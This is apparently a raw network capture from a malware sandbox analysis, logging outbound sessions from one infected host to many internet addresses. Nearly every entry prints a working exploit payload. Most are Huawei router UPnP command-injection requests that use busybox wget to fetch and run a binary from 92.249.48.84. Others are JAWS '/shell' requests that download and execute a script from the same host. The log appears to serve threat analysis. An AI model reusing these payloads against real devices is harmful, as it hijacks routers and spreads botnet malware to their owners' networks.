6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	55818	197.194.38.245	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945946932 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	45928	197.117.150.0	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945991993 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	52150	156.192.236.35	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.946005106 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	48962	156.239.235.45	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.946033955 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	39574	25.253.62.124	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297521114 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	60190	1.148.190.212	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297614098 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	46580	205.107.145.232	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297648907 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	56202	183.57.13.174	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297677040 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	40658	120.102.6.25	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297703981 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	49008	190.118.154.120	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297755003 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	57264	211.93.158.133	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297760963 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	60378	108.59.218.14	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297769070 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	52582	210.18.166.10	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:18.297810078 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	42730	197.248.185.90	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226619959 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	54590	41.130.2.186	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226660967 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	45790	156.188.244.123	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226674080 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	33460	41.239.228.1	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226763010 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	56330	156.233.226.3	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226811886 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 